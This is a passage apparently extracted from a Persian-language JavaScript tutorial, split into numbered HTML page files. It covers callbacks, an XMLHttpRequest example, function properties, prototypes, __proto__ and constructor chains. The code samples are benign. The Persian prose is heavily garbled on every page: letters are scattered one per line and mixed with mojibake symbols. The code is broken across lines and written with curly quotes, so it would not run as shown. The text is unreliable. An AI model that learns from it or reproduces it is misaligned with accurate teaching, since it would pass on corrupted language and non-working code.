var newMoney = calculateProfit
(20000000);
console
.log(newMoney); // 24000000
ز
» ϳ
¾فا
º»
ما
» µº» Ï
· شد
Á»
و
û²Ó
ار
ι±
ا
Ôɸ calculateProfit Û
د ک¶ ¸اب
É
چ
²
ه
ø
و
Ó Ñ
ر مثا
³
65
¹¾²À
خ´ چ
µ
================================================ FILE: HTML/68.html ================================================
کدها´
Æ
شام
Û
ر صور¸· ک¶ ¸اب
³ .µº» Ï
کدها شد
²¾Ð
· بی
±
ا
Á»
و
à ¼ ²¾Ô
ده· ب
Á
ازما
º î
آن باع
هد بو
»
و
à خ
Ð
م
ï
ز آن ب¶ ¼ضو
» ϳ
¾فا
º» ÛÓ
ا
É
´ باشد م
²¾Ð
بی
[
)
Anonymous
( Õ
·اشنا
À³²¶Á
µ
پ
±²¹º»¼
ر جا
³ Û
ب
»
ب¶ ¸و
Ê
بو
²
و´ م
ÞÁ
¾ار
Ã
ا
º ¼ Ö
و
Ô
ز ک¾ا½ با مف
» Ä
¿ بخ
±» ¶
¸ا ب
°
ا
Ⱦ
ح
»
Û
ب
»
¸و
Ö
و
Ô
با مف
»
ا ر
È
ش
Ù
هی
»
و
÷
ون م
É
ک
» .
د
±»Ï³²
· آن لذت ب
±
ا
α
گ· ¼ ز
³
ا
º
ز
» ¼
د
±» Ï
ا شد
É
آش
م¾÷ی
é
ر قال
³ Û
ب
»
´ ¸و
²
ارگی
¹
´ ب
»²
ا ب
α
¼ ز
Ä
ژگ· لذت بخ
±¼ Ú± ،Ù
ی
É
ا ک
É
آش
í
ا
É
اش
Á
ید:
É
¸وج¶ ک
²±
ز
Ñ
ب¶ مثا
var
foo =
function
() {
console.log(‘foo called!‘);
};
foo();
var
x =
function
bar
(){
//..
};
ı»²
ب
ً
»
د
È
ک¶ ع
»
ر
Ö¼³ Û
¼ ¸اب
ϳ»³ µÎ
س
Á
foo
²
ب¶ م¾÷ی
»
ر
Ѽ» Û
، ¸اب
Ù±»Ï³²
ک
ê±²Õ¸ Û
¼ ¸اب
³
ا
ßɱ»
ر
³
¼ل· ب¶
µº» í
ا
É
اش
Á
حا
Íä
ص
» Û
¸اب
³
و
à ¶
ک
³
م·شو
Ï
اهد
Ð
¼ م
x
²
ب¶ م¾÷ی
Ù±»¶¾
ش
»
ی× گذ
Á Ùº»
م·شو
Ö
ا
ßÁ» ²
· م¾÷ی
Á»
و
û²Ó
ز آن با
» ϳ
¾فا
º» ¼ µº» Ï
شد
ϳ»³ Ë
ا
à¾Ã» Ï
شد
²
ک
è ´
ها
²
م¾÷ی
´»
ر
»³ Û
ب
»
ی× ¸و
Á
ا
ñÕ
¼ ب
³
ر
»
د
Á Û
ب
»
´ ¸و
³
عا
ê±²Õ¸
´ با
³
ا
±
· ز
Â
ی
Ã
، ¸فا¼ت
Û
ب
»
¸و
ê±²Õ¸
ز
» Úκ ¿±»
.µº» ù±»
ی× بسیار ر
Á í
ا
É
اش
Á Û
ب
»
¸و
ê±²Õ¸ ·
د، ¼ل
Á
م·شو
ϳ»³ ð
جی
²¸ ³»²Ó» ·Ã²
ب
óº
¸و
Ö
ا
Á
²Î±
تابعی د
Á
ب
Ú
د´دن تاب
Þ
پا
¿¹È
¾¶ م
Î
ل
» ،Ù
هی
³ Ö
ا
ßÁ» ²Ì±³ ·Õ
¸اب
ÆÃ»³
ر
³ ،»
ر
Û
¸اب
Ú± ´»²
ج
» Ù±
ر
»³
یاز
Á Û
ق
»
ز مو
» ·Ã²
ر ب
³
ی
É
م·ک
»²
ج
» ²æÁ ³
مور
Û
ر ¸اب
³ ´³
وش¾¶ ب¶ صورت عا
Á »
ر
Ѽ» Û
ک¶ ¸اب
³
ر
»
د
Á ·Â¹Ð
ید م
±
و
Ì
ب
槯
¼ ما
µ
یس
Á Ö
ا
ßÁ» Æ
، قاب
Ï
وش¾¶ شد
Á ÆÎ
ز ق
» ·Õ
· ¸اب
Á»
و
û²Ó
ک¶ با
µº ´²Ì±³
یاز
Á
ز
» µÎÞ
ما ص
»
. مثا
Ù
هی
³ í
ا
Å ´³¼
ن ¼ر
»
و
É
ب¶ ع
»
ر
³
و
à ϻ
لخو
³ Û
¶ ¸اب
Á
، بد
Û
¸اب
Ú± ÆÃ»³
ر
³ Ù
هی
»
و
÷
م
66
²À¸
آ
³¸
¾ د¾و
²Á²
و س
õ
·ا
Ä
================================================ FILE: HTML/69.html ================================================
function
showMessage
(
info
){
console
.log(info);
}
function
createUserObject
(
id
){
var
obj = {
id: id,
name:
“unknown”
};
showMessage(obj);
}
// if we want get user info and show it
createUserObject(
12
);
// {id: 12 , name: “unknown”}
·Â
ص
» ³²¹ÂÈ
ز ع
» ،
createUserObject
Û
ک¶، ¸اب
µº» ¿±» ³
ر
»³ ³
¼جو
Ñ
¿ مثا
±»
ر
³ ¶
´ ک
»¶¾¹Á
هد ¼
³·
م
Ö
ا
ßÁ» »
ر
ı
ا
ÈÁ ¼ µÃ
ا
º
یات
ÂÈ
¼ ع
µº» Ï
¼ر شد
³ ²
عات کارب
Í
ط
» µÃ
ا
º ·ÉÕ± ،
آن
µÃ
ا
º Ñ»¼
ر
µ
س
±
ش¾¶ باشد، م·با
»³ ²
عات کارب
Í
ط
» µÃ
ا
º ¶
یاز ب
Á Ù
ز کد ه
» ´²Ì±³ Ä
بخ
²
گ
»
د.
É
م·ک
ăÝÁ »
ر
Û
ب
»
¸و
µ
ماهی
ø
¸فا
» ¿±» ¼ ،
د
É
از´ ک
º ϳ
یا
Å »³
د
ß
م
»
عات ر
Í
ط
»
ن
»
م·¸و
»
ر
ø
و
Ó
کد
Ñ
´ مثا
»²
م·باشد، ب
Û
ب
»
ن ¸و
³»³ í
ا
Å
ز
» ϳ
¾فا
º» ،³
م·شو
³
ا
ÔÉÐ
ی
Å ¶
· ک
Â
ح
Ï»
ر
و
ÈÁ »²
ج
» ²±
ز
ƹ
ب¶ ش
function
showMessage
(
info
){
console
.log(info);
}
function
createUserObject
(
id , objectManager
){
var
obj = {
id: id,
name:
“unknown”
};
objectManager(obj);
}
// if we want get user info and show it
createUserObject(
12
, showMessage);
// -> user info
67
¹¾²À
خ´ چ
µ
================================================ FILE: HTML/7.html ================================================
و´ره تا گور
µ
ک¸ی ´·قی ´س¶ ´ز گ
²
ه بودن ح
¹º
ز
ان ´س¶
»
ود¾ ´س¶ ´ز زم½¼ تا آس
»¿
ک¸ی
²
دن ح
²
گی ک
¹º
ز
À
س¶،
²
پ
²
بی س
Á
جامع
Á
میشود ب
±¹
تق
²
حاض
Ã
، ک¸ا
Ä´²¸
با ´ح
Á
ب
Ã
ک¸ا
¹
ه´¾ ´ز درآم
¹»¿ Å
گان. بخ
¹
ش
Æ
´مو
²· Ä
ا
»
ت
À ²½
·ق
ود
ǵ
ی در ب
»µ
س
Á
ک
¹
، باش
¹
ش
¹È´
و
É ´¹È´
¸ی
±
ا
»
ح
Ê
ا
Ë
موس
.½
باش
Á¸
د´ش
ÂÈ
گی
¹º
ز
================================================ FILE: HTML/70.html ================================================
Ï
د
Ô
ع
²
ب
»
ر
²
کارب
object
³
ا
ß±» Ï
ور
æÉ
م
Ú¸ ¼ Ë
ا
à ¶
¼ظیف
createUserObject
Û
¸اب
é
¸ی
²¸ ¿±» ¶
ب
¿±»
¾¶ ل×¼ما
Î
ل
» .³²
ه· ک
³
ر
»
د
Ý
· م
Õ
¸اب
²
ب¶ ه
»
ر
Ö¼³ ²¾
م
»
ار
Å
ن
»
م·¸و
ê¾
ها´ مخ
³
و
àÝ
´ م
»²
¼ ب
³
ر
»³
وش
Á µº»
و
Ã
ر
³ ¶æÞ
ان ل
È
ر ه
³ »
ر
Û
ن ¸اب
»
¼ م·¸و
³
·شو
ÈÁ Ö
ا
ßÁ» ²
م¾÷ی
ë±²
ز ط
» ·
ه
³
ر
»
د
Ý
م
´ مثا
»²
ب
createUserObject(
12
,
function
(
obj
){
console
.log(obj);
});
´»×ß
شدن م
ê±²Õ¸ ¶
یاز´ ب
Á ¶
¿ ¸فا¼ت ک
±»
، با
³
ر
»³ »
· ر
ÂÎ
ق
Ñ
مثا
³²¹ÂÈ
ان ع
È
ا ه
Ý
قی
³ ×
ی
Á ø
و
Ó
کد
ن
»
و
É
ب¶ ع
createUserObject
· م¾د
Á»
و
û²Ó ¶æÞ
ان ل
È
ر ه
³ Û
¼ ¸اب
µ
یس
Á
showMessage
Û
¸اب
ϳ»³ í
ا
Å Û
¸اب
»²
ج
» Ö
ا
ÌÉ
ر ه
³
createUserObject
Û
¸اب
Ù
ی
Á»³·
. چون م
³
م·شو
ϳ»³ í
ا
Å ²¾
م
»
ار
Å
obj
²¾
م
»
ار
Å Ù
ی
Á»
ی× م·¸و
Á Ä
¿ بخ
±»
ر
³ ìÅ ،
د
É
· م·ک
Á»
و
û²Ó ´³¼
ن ¼ر
»
و
É
ب¶ ع
obj
ر
»
د
Ý
با م
»
ر
Ï
شد
ر
³
ا
Ý
قی
³
¶ آن
Á
¼ بد
Û
ی¿ ¸اب
È
چون ه
( .Ù
ی
É
ک
ϳ
¾فا
º»
ز آن
» ¼ ¶¾
وش
Á Ï
شد
ϳ»³ í
ا
Å Û
´ ¸اب
³¼
ر ¼ر
³ »
ر
).
هد شد
»
و
à ϳ
ز
»
صد
createUserObject
ÆÃ»³
ï²ä
¼ر م
²º
ز
» ²
عات کارب
Í
ط
» µÓ
ا
±
ر
³
یات
ÂÈ
، ع
²
کارب
object
³
ا
ß±»
یات
ÂÈ
ید ب¶ جا´ ع
É
ک
þ²Ó Ñ
حا
²
گ
» ،
· م·باشد
Á
آ
²
ی
õ ¼ ²
یا¸· زمان ب
ÂÈ
¼ر ع
²º
ز
» ²
عات کارب
Í
ط
» µÓ
ا
±
ر
³ Ù
ی
Á»³·
، چون م
³
بو
Ï
شد
اچار
Á ¶
ب
]·ÂÕÓ ÄÁ»³
با
[ ،Ù
ی
É
ک
»²
ج
»
¼ر
²º ¶
ب
槯
و
Ã
ر
³ Ö
ا
ȸ»
ز
» ìÅ »
· ر
Õ
¸اب
Ù
ش¾¶ باشی
»³
یاز
Á
ب¶
槯
و
Ã
ر
³ ¶ß
¾ی
Á Ö
ا
ȸ»
ز
» ìÅ ¼ Ù
هی
³ í
ا
Å ²æÁ ³
ب¶ م¾د مور
Û
¸اب
Ú± á¼
ی¿ ر
È
با ه
Ù±
ور
Îß
م
´ مثا
»²
ب
ی
É
ک
»²
ج
» »
ر
Ï
شد
ϳ»³ í
ا
Å Û
¼ر، ¸اب
²º
function getUserInfo
(
id , callback
){
var
xhttp =
new
XMLHttpRequest();
xhttp.onreadystatechange =
function
() {
if
(
this
.readyState ==
4
&&
this
.status ==
200
) {
callback(xhttp.responseText);
}
};
xhttp.open(
“GET”
,
“/path”
,
true
);
xhttp.send();
}
getUserInfo(
12
,
function
(
res
){
console
.log(res);
});
68
²À¸
آ
³¸
¾ د¾و
²Á²
و س
õ
·ا
Ä
================================================ FILE: HTML/71.html ================================================
Ï
د
±³
ا
Á
ید
Á»
م·¸و
»
ر
ajax
ب¶ صورت
槯
و
Ã
ر
³ Ö
ا
ßÁ» ¼ ³
ا
ß±» ¶
ب
Ê
بو
²
ها´ م
Ä
بخ
ø
و
Ó Ñ
ر مثا
³
گف¾¶
callback
،Û
ب
»
¶ ¸و
Á
¿ گو
±» ¶
بدهید. ب
Ï
شد
ϳ»³ í
ا
Å Û
ب¶ ¸اب
»
ر
³
و
à ¶
ک× ¼ ¸وج
²È¸ .
د
±²
ی
Ì
ب
ر زمان
³ ¼ ³¼
· ب¶ کار م·ر
ÂÕÓ Û
¸اب
ÆÃ»³
ر
³ Ú
امی
ɱ»³
ب¶ صورت
Û
¸اب
Ú± Ö
ا
ßÁ» ´»²
ک¶ ب
³
م·شو
،³
شو
ϳ»³ µÐ
گ
²
ی× ب
Á ·±
¾ا
±³
باشد
Ö
ز
° ²
گ
» ¼ ³
· شو
Á»
و
û²Ó ²æÁ ³
مور
Û
، ¸اب
Ù±
ر
»³
یاز
Á ¶
ک
À
خ
Ð
م
.³³²
گ
ϳ
¾فا
º» Ï
¶ شد
Ç»
ر
» Û
¸اب
ÆÃ»³ ²Ì±³ µÈº
ر
³
¸ا
³
م·شو
ϳ»³ í
ا
Å
callback
Û
ان ¸اب
È
ب¶ ه
ا
É
با آنها آش
²¾Ð
د´ بی
Õ
ها´ ب
Ä
ر بخ
³ ¶
ت م·باشد ک
͹Ð
´ م
²º Ú± ´»
ر
»³ ×
ی
Á
callback
¶¾Î
ل
»
.Ù±
م·شو
[
À³²¶Á
prototype
Û
ب¶ ¸اب
prototype
Ö
ا
Á ¶
ژگ· ب
±¼ Ú± µ
پ
±²¹º»¼
، مو¸ور جا
³
¾¶ م·شو
Ã
ا
º ·Õ
· ک¶ ¸اب
Á
زما
د،
ɾ
هس
prototype
´»
ر
»³ ·¸»è
ب¶ صورت
Û
ب
»
¶ ¸و
È
ه
é
¸ی
²¸ ¿±
. بد
槯
object
د ک¶
É
¶ م·ک
Ó
ضا
»
د.
Á
ر
»
د
Á
prototype
د ¼
Á»Ï
¶ شد
Ç»
ر
» ES6
ر
³ ¶
ک
arrow
Û
ب
»
ب¶ ج× ¸و
var
test =
function
(a){ };
console.log(test)
م·شو
ö
چا
²±
¼ج· ز
²Ã
آن
Ö
ا
Á ·Á»
و
û²Ó
¼ با
ϳ²
ک
ê±²Õ¸ Ñ
سو
É
ر ک
³
test
Ö
ا
Á ¶
ب
Û
¸اب
Ú±
test()
arguments:
null
caller:
null
length:
1
name:
“test”
prototype:
Object
{
constructor: function test()
}
د:
É
بیان م·ک
»
ر
µ
پ
±²¹º»¼
جا
Û
ب
»
¸و
Ë
و
àÃ
ر
³ ÙÔ
¾¶ م
¹Á
د
É
چ
ø
و
Ó ·
¼ج
²Ã
ک¶ ب¶
槯
caller
Ö
ا
Á ¶
ژگ· ب
±¼ Ú± ¼
arguments
Ö
ا
Á ¶
ژگ· ب
±¼ Ú± ´»
ر
»³ ·¾
پ
±²¹º»¼
جا
Û
¸اب
هد.
³·
م
ı
ا
ÈÁ »
ر
Û
شدن ¸اب
ϳ
ز
»
صد
ÆÞ
¼ م
Û
ب¶ ¸اب
Ï
شد
ϳ»³ í
ا
Å ´
آرگومانها
é
¸ی
²¸
د ¼
É
ر´ م·ک
»
د
ÔÌÁ »
ر
Û
´ ¸اب
³¼
آرگومانها´ ¼ر
³»
د
Õ¸ ¶
م·باشد ک
length
ژگ·
±¼ Ú± ´»
ر
»³ Û
¸اب
²
ه
د.
É
ر´ م·ک
»
د
ÔÌÁ »
ر
Û
ن ¸اب
»
و
É
، ک¶ ع
name
Ö
ا
Á ¶
´ ب
²Ì±³ ·
ژگ
±¼
69
¹¾²À
خ´ چ
µ
================================================ FILE: HTML/72.html ================================================
Ö
ا
Á ¶
ژگ· ب
±¼ Ú± ´»
ر
»³ ¶
ک
µº» Û
´ ¸اب
»²
ب
object
Ú± ،
ور ک¶ گف¾¶ شد
äÁ
ا
È
ه
prototype
³
ر مور
³
م·باشد.
Û
ز ¸اب
» ¶Á
و
ÈÁ µÃ
ا
º ´»²
ب
constructor
د
ÉÁ
ا
È
پ¾· ه
±²¹º»¼
جا
Û
ب
»
ز ¸و
» ϳ
¾فا
º»
ن با
»
ک¶ م·¸و
Ù±
، م¾وج¶ م·شو
ø
و
Ó
ات
Þ
با ¸وج¶ ب¶ ¸وضی
ز کدها گف¾¶
» ´»¶
وع
Èß
، ب¶ م
)
class
(íÍ
. ک
³²
ک
³
ا
ß±»
د
±
جد
object
Ú± ،²Ì±³ ´
ر زبانها
³ íÍ
ک
.³²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
ی¿ مور
Õ
ژگ·ها´ م
±¼ ¼
´ م¾د
²º Ú±
ز
»
شیاء
» µÃ
ا
º ´»²
ک¶ ب
³
م·شو
د:
±²
ی
Ì
ب
²æÁ
ر
³ »
ر
²±
¶ کد ز
¹¸ Ñ
´ مثا
»²
ب
var
House =
function
(){ }
// instance of House
var
myHouse =
new
House();
ر¼´
²
ب
new
ید´
Â
¶ ک
ÈÂ
ک
Û
ق
»¼
ر
³ ،
هد شد
»
و
à »²
ج
» ¶
ام
Á²
· ب
±
ا
äà å
، بد¼ن هی
ø
و
Ó
´ کد
»²
ج
»
با
´»²
ن ب
»
د. م·¸و
É
م·ک
³
ا
ß±» )
class
ز آن ¸اب
»
د
±
جد
object
Ú± ¼ ³
ر
»³ Ñ
ا
È
ع
» µ
ی
Â
· قاب
Õ
¸اب
²
ه
µÃ
ا
º ´»²
ب
Ö
ز
° ¶ÐÝÁ »
ر
prototype
´ ک¶
»¶Á
، ب¶ گو
³»³ ¶Ç»
ر
» ¶Á
ا
à ڱ ³
ر مور
³ ·
مثال
prototype
ی
É
ک
³
ا
ß±»
آن
í
ا
º»²
ب
»
ر
Ù±
بساز
Ù
هی
»
و
÷
´ ک¶ م
»¶Á
ا
à ¼ ¶¾Ó²
گ
²æÁ
ر
³ ¶Á
ا
Ã
ژگ·
±¼ ،
ز آن
»
object
Ú± ³
ا
ß±» ¼ Û
شدن ¸اب
new
ک¶ با
Ù±
ر
»³ Û
¸اب
Ú± ¶Á
ا
à ´»²
ب
ø
و
Ó
کد
ëÎ
ط
¶¾Ã
ا
º
object
م·شو
ϳ
¾فا
º»
ز آن
»
د
±
جد
object
µÃ
ا
º ´»²
¼ ب
Ï
کپ· شد
Û
¸اب
prototype
· م·باشد
Â
ص
» Û
¸اب
prototype
ان
È
ا ه
Ý
قی
³ ¶
م·باشد ک
__
proto
ژگ· __
±¼ ´»
ر
»³
د
±
جد
Ï
شد
.µº» Ï
¾¶ شد
Ã
ا
º
ز آن
» ¶
ک
ز
»
ا´ آن
ß
¼ ب
槯
شدن
1
deprecate
Ñ
ر حا
³ ¶
ک
Ù
ی
±
و
Ì
ب
Ù
ه
»
¾¶ ر
¹Á ¿±»
__proto__
³
ر مور
³
هد شد.
»
و
à ϳ
¾فا
º» ³
موجو
prototype
ان
È
ه
:³²
¶ ک
Ç»
ر
» ·
ن مثال
»
م·¸و
²±
ز
ƹ
ب¶ ش
myHouse
³
ر مور
³ ،Ñ
´ مثا
»²
ب
د.
ɱ
شدن م·گو
depracte
ان
¹
م
»
ا
± ·
ژگ
±¼ Ú±
شدن
ò
ا حذ
± ¼ ·ñÝÉ
د م
ɱ
آ
²Ó ¶
ب
1
70
²À¸
آ
³¸
¾ د¾و
²Á²
و س
õ
·ا
Ä
================================================ FILE: HTML/73.html ================================================
console
.log(myHouse.__proto__);
/* {
constructor: House()
arguments: null
caller: null
length: 0
name: “House”
prototype: Object {... }
} */
console.log(House.prototype);
/* {
constructor: House()
arguments: null
caller: null
length: 0
name: “House”
prototype: Object {... }
} */
__proto
__ ¼
prototype
ن
³
سان بو
¹± ¶
ن ب
»
م·¸و
Ï
¾¶ شد
Ã
ا
º
object
¼ ·Â
ص
» Û
س¶ ¸اب
±
ا
Ý
با م
:³²
· ب
Å Ï
¾¶ شد
Ã
ا
º ¶Á
و
ÈÁ
console
.log(House.prototype === myHouse.__proto__);
// true
¼ ³²
ر م·گی
»²
ق
µ
پ
±²¹º»¼
ها´ جا
object
Ö
ا
ȸ ´¼
ر
²
ب
þ²Ó Ä
ی
Å
ب¶ صورت
2
__proto
ژگ· __
±¼
ò¼²Õ
م
3
惯
¼ر
Ö
و
Ô
لد م·باشد ک¶ ب¶ مف
»¼ ¿
¼لی
»
¸ا
ı
ا
È
ی
Å Æ
د´ قاب
Á
ز
²Ó ¼ ´
در
Å ¶ä
ب
»
ب¶ صورت ر
.槯
ϳ
¾فا
º» ²Ì±³ ´
¶ها
Á
و
ÈÁ
´ ¸ولید
»²
ب
د
Á
از
º
· م¾د
ÉÕ
ب¶ م
(
constructor
ژگ·
±¼ ،Û
ب
»
ر¼´ ¸و
²
ب
µ
پ
±²¹º»¼
ر جا
³
ن
³²
¿ کپ· ک
±» .
د
É
د کپ· م·ک
±
¶ جد
Á
و
ÈÁ ´»²
ب
»
ر
³
موجو
prototype
¼ ³
م·شو
´²º Ú±
د، با
±
¶ جد
Á
و
ÈÁ ³
ا
ß±» ´°
با
µ
ع
²º ¿
ی
ÉãÈ
¼ ه
object
µÃ
ا
º
ر
³ ·
گ
³
ا
º î
باع
Ö
ا
ȸ ´¼
ر
²
ب
Û
¸اب
prototype
ر¼´
²
ب
³
موجو
constructor
م·شو
Ë
ا
à ´
ید
Â
ژگ·ها´ ک
±¼
م·شو
Ï
د
Á»
و
Ã
dunder proto
ب¶ صورت
2
3 inheritance
71
¹¾²À
خ´ چ
µ
================================================ FILE: HTML/74.html ================================================
.µº» Ï
ش¾¶ شد
»
گذ
Ø»²¾
ش
» ¶
ب
constructor
ز
» ϳ
¾فا
º»
، با
Ï
شد
³
ا
ß±»
شیاء
»
¶Á
ا
à ²
ه
µ
مساح
µ
ش
»
د
ÔÌÁ ´»²
ب
area
Ö
ا
Á ¶
ژگ· ب
±¼ Ú± ،¶Á
ا
à Ñ
مثا
³
ر مور
³
ید
É
ک
þ²Ó Ñ
´ مثا
»²
ب
ی
É
ک
³
ا
ß±» ê¾
مخ
Ü»²¾
¶ با م
Á
ا
à ¶Á
و
ÈÁ ¼³ ¼ Ù±²Î
ب¶ کار ب
var
House =
function
(
area
){
this
.area = area;
}
// instance of House
var
myHouse =
new
House(60);
var
hisHouse =
new
House(85);
ز
» ·Ð
بخ
Ú±
ر
³ .Ù
ی
É
م·ک
³
ا
ß±» ´²¾
م
85 ¼ 60 µ
ژگ· مساح
±¼
¶، با
Á
ا
à ¶Á
و
ÈÁ ¼³ é
¸ی
²¸ ¿±» ¶
ب
·Á»
و
û²Ó
با
Ù
ی
Á»
ش¾¶ باشد ک¶ ب¾و
»³ ³
¶ها ¼جو
Á
ا
à ´¼
ر
²
م¾د´ ب
µ
س
±
م·با
Ù±
ام¶ م¾وج¶ م·شو
Á²
ب
House
Û
¸اب
prototype
ر¼´
²
ب
Ù
ی
Á»
م·¸و
ϳ
ا
º
، بسیار
Ù
ی
É
¶ ک
κ
ا
Þ
م
»
ر
²æÁ ³
¶ مور
Á
ا
à µÈ
آن قی
í²¾º³ Æ
ز آن قاب
» Ï
¾¶ شد
Ã
ا
º
شیاء
» Ö
ا
ȸ ´¼
ر
²
¿ م¾د ب
±» ¼ Ù
ی
É
از´ ک
º ϳ
یا
Å
م¾د
Ú± ·Â
ص
»
هد بو
»
و
Ã
var
House =
function
(
area
){
this
.area = area;
}
// instance of House
var
myHouse =
new
House(
60
);
var
hisHouse =
new
House(
85
);
House.prototype.calcPrice =
function
(){
return this
.area *
14509000
;
}
myHouse.calcPrice();
// 870540000
hisHouse.calcPrice();
// 1233265000
ز
» ìÅ
ن
»
¼ ح¾· م·¸و
³
ر
»³ ·Î
ی
ß
ع
³²¹±¼
شیاء ر
» ³
ر مور
³ µ
پ
±²¹º»¼
ک¶ جا
Ù
ی
É
م·ک
Ï
اهد
Ð
م
²
ب
»
ا م¾د´ ر
± ·
ژگ
±¼ ·Â
ص
» Û
¸اب
prototype
ر¼´
²
ب
Û
¸اب
Ú± Ñ
ا
È
ع
»
ی× با
Á
object
¾¶ شدن
Ã
ا
º
72
²À¸
آ
³¸
¾ د¾و
²Á²
و س
õ
·ا
Ä
================================================ FILE: HTML/75.html ================================================
.µÃ
ا
º Ù
ه
»²Ó Ï
¾¶ شد
Ã
ا
º
object
ر¼´
Ï
¾¶ شد
Ã
ا
º
شیاء
» Ö
ا
ȸ ¿¾Ó
ا
± ²
¸÷یی
Æ
ک¶ بدلی
µº» ¿±»
prototype
³
رمور
³ ÙÔ
· م
Â
ی
à ¶¾¹Á
ها´
ϳ»³ ç
و
Á ¼ µ
پ
±²¹º»¼
وم· جا
È
شیاء ع
» Ï
گا
å
ید هی
É
· ک
Õº ،·Â
ص
»
object
ار´
¹¾º³
با
ار´
¹¾º³
د با
Á»
ها، م·¸و
String
Ö
ا
ȸ ´¼
ر
²
م¾د ب
Ú± ³
ا
ß±» Ñ
´ مثا
»²
ید. ب
ɹÁ ´
ار
¹¾º³ »
ر
ê¾
مخ
ام¶
Á²
ر ب
³ ¶
´ ک
²Ì±³
با کد
µº» ¿¹È
ک¶ م
»²
، چ
µº» Ï
ا
ξ
ش
» á¼
¿ ر
±»
ما
» ،³
شو
ëÝÞ
م
prototype
ا شو
äà ³
ا
ß±» î
باشد ¼ باع
ă
اق
ɾ
م
µº» Ï
¾¶ شد
Ó²
ب¶ کار گ
[
Æ
و ½اد
prototype
Æ
¼و
Æ
¸ا
¹¿
م
»
او
ÖÁ
Ä
ی
Å
¾ان
±»²
ب
Ñ»
و
º ¿±» °
ا
Ⱦ
ح
» ،·Â
ص
» Û
¸اب
prototype
ن م¾د ب¶
³¼×Ó»
ان
¹
م
» ¶
با ¸وج¶ ب
،Ù
ی
É
¶ ک
Ó
ضا
» »
ر
calcPrice
م¾د
House
²æÁ ³
مور
Û
ر¼´ ¸اب
²
ب
Ù
س¾ی
Á»
ح¾· م·¸و
»
د ک¶: ما ب¶ ر
±
بیا
؟
³²
¶ ک
Ó
ضا
»
prototype
د ر¼´
±
با
»²
، چ
Ù
سی
±
و
É
ب
²±
ز
ƹ
¼ کد´ ب¶ ش
var
House =
function
(
area
){
this
.area = area;
}
House.calcPrice =
function
(){
return this
.area *
14509000
;
}
á³
و
à 뱲
ز ط
»
ا
Ôɸ ،Ù
ی
É
م·ک
ê±²Õ¸ Û
¸اب
object
³
و
à ´¼
ر
²
ب
»
ک¶ ¼ق¾· م¾د´ ر
µº» ¿±» Ąº
ا
Å
م¾د ب¶
Ú±
ن
³²
¶ ک
Ó
ضا
»
شد، با
ϳ»³ ð
ور ک¶ ¸وضی
äÁ
ا
È
¶ ه
¹
رحالی
³ ،³
هد بو
»
و
Ã í²¾º³ Æ
قاب
ش
»³ ·º²¾º³ ²æÁ ³
ی× ب¶ م¾د مور
Á
آن
Ï
¾¶ شد
Ã
ا
º
شیاء
» Ö
ا
ȸ
ر
³
ن
»
م·¸و
Û
¸اب
prototype
ر¼´
²
· ب
Á
. ما زما
³
ر
»³ »
ر
³
و
à Ë
ا
à ´
ها
³²
ی× کارب
Á Û
¸اب
³
و
à ´¼
ر
²
ن م¾د ب
³¼×Ó» ¶
ک
³
¾¶ ¸وج¶ شو
Î
ل
»
³
ا م¾د مور
± ·
ژگ
±¼
ز
» ¶
وع
Èß
م
²±
شیاء ز
»
ر
³ Ù
هی
»
ک¶ بخو
Ù
ی
É
¶ م·ک
Ó
ضا
» ·
ژگ
±¼
ا
±
م¾د
prototype
ی
É
ک
ϳ
¾فا
º» ²æÁ
prototype
ر¼´
²
وش¾¿ م¾د ب
Á ¼
د
Õ
¶ کد ب
¹¸ ƹ
وش¾¿ کد ب¶ ش
Á Ï
و
ÞÁ ¿
¸فا¼¸· بی
å
هی
Ñ
´ مثا
»²
ب
ر
»
د
Á ³
¼جو
73
¹¾²À
خ´ چ
µ
================================================ FILE: HTML/76.html ================================================
var
House =
function
(
area
){
this
.area = area;
this
.calcPrice =
function
(){
return this
.area *
14509000
;
}
}
ر
³ ³
¿ مور
±» ¶¾Î
ل
» ،
د
É
م·ک
µ
اش
ÌÁ Û
¸اب
prototype
ر¼´
²
ی× ب
Á
this
ید´
Â
¶ ک
ÈÂ
ک
µÝ
ی
Ý
ر ح
³
.µÓ²
هد گ
»
و
Ã
ر
»²
· ق
º
ر
²
ب
³
مور
²¾Ð
م¶ بی
»³»
ر
³ ¶
ک
³
م·شو
Ö
ا
ßÁ»
constructor
[
µ¹·
ساز
À³²¶Á µ
ر
Ã×·
ز
¼ ب¶
³²
ک
³
ا
ß±»
object
µ±
ا
ÔÁ ·
ن ب
»
م·¸و
Û
¸اب
constructor
¼
prototype
´²
ی
ßÁ
· ز
Á»
و
û²Ó
با
Æ
قاب
µ±
ا
ÔÁ·
´ ¸ا ب
»¶ÝÂ
ب¶ صورت ح
constructor
¼
prototype
á²¾
گس
ϲ
ی
ßÁ
ز
Æ
لی
³ ¿
ی
È
ه
م·باشد.
ó
بس
آن ب¶
prototype
·Á»
و
û²Ó
ا
± ،Û
¸اب
³
و
à ´¼
ر
²
ب
constructor
·Á»
و
û²Ó ،ø
و
Ó Æ¹
با ¸وج¶ ب¶ ش
74
²À¸
آ
³¸
¾ د¾و
²Á²
و س
õ
·ا
Ä
================================================ FILE: HTML/77.html ================================================
هد شد:
»
و
à »²
ج
»
ا
äÃ
بد¼ن
²±
ز
Ñ
. مثا
µº» Ö
ا
ßÁ» Æ
بار قاب
µ±
ا
ÔÁ·
´ ¼ ¸ا ب
²
ی
ßÁ
ز
ƹ
ش
/* Chain1 */
House.constructor.constructor.constructor ;
/* Chain2 */
House.prototype.constructor.prototype.constructor ;
prototype
Å
constructor
ƶ±ÇÂ
ز
ÈÅ
¸فا
Û
¸اب
³
و
à ¶
ر ب
»²¹¸
بار
²
ر ه
³ ¼
د
ÉÉ
م·ک
»
ید
Å ¶
م
»³»
ا
äÃ
د ¼ بد¼ن
ɾ
هس
ó
بس
Æ
قاب
ϲ
ی
ßÁ
¼ ز
³ ²
ه
ب¶
House
Û
¸اب
³
و
à ´¼
ر
²
ب
constructor
·Á»
و
û²Ó ¿
¼لی
»
با
Ѽ» ϲ
ی
ßÁ
ر ز
³ .Ù
ی
º
· م·ر
Â
ص
»
¿±» µâ»
¼ر
Ï
قاعد
ëÎ
، ط
Ù±
ید
º
· ر
Â
ص
» µÃ
ا
º²±
¼ چون ب¶ ز
Ù
ی
º
م·ر
Object
·ÉÕ± ،
آن
Ï
د
Á
از
º
چون
Ö¼³ ϲ
ی
ßÁ
ر ز
³
ما
» ،
د
É
م·ک
Ï
شار
»
object
ان
È
بار ب¶ ه
²
ر ه
³ ¼ ³
هد بو
»
و
à ó
بس
